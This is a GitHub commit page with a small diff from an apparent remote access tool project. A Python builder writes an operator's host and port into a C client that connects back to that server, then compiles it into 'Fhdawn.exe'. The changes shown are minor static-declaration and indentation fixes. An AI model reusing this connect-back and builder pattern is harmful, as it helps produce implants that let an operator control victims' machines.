Skip to content
This repository has been archived by the owner on Aug 11, 2022. It is now read-only.

Commit

Permalink
linker error fix
Browse files Browse the repository at this point in the history
  • Loading branch information
quantumcore committed Sep 29, 2020
1 parent ede70af commit 3dbe4fc
Show file tree
Hide file tree
Showing 3 changed files with 9 additions and 10 deletions.
4 changes: 2 additions & 2 deletions fhdawn/connect.c
Original file line number Diff line number Diff line change
Expand Up @@ -515,8 +515,8 @@ void MainConnect(void)
exit(1);
}

server.sin_addr.s_addr = inet_addr("{{serverhost}}");
server.sin_port = htons({{serverport}});
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(421);

server.sin_family = AF_INET;

Expand Down
8 changes: 4 additions & 4 deletions fhdawn/fhdawn.h
Original file line number Diff line number Diff line change
Expand Up @@ -24,11 +24,11 @@ Modified: -
#pragma comment(lib, "shlwapi.lib")

#define BUFFER 1024
// I don't feel good about declaring these static.
static BOOL connected = FALSE;

struct sockaddr_in server;
SOCKET sockfd;
char recvbuf[BUFFER];
static struct sockaddr_in server;
static SOCKET sockfd;
static char recvbuf[BUFFER];
//=====================
void ReportError(void);
void WSAReportError(void);
Expand Down
7 changes: 3 additions & 4 deletions pycore/builder.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,6 @@ def Build(host, port):
print("[+] Built : {x}".format(x = os.path.abspath("Fhdawn.exe")))
else:
print("[X] Error building Fhdawn.")

inplace_change("connect.c", host, "{{serverhost}}")
inplace_change("connect.c", port, "{{serverport}}")
os.chdir("..")
inplace_change("connect.c", host, "{{serverhost}}")
inplace_change("connect.c", port, "{{serverport}}")
os.chdir("..")

0 comments on commit 3dbe4fc

Please sign in to comment.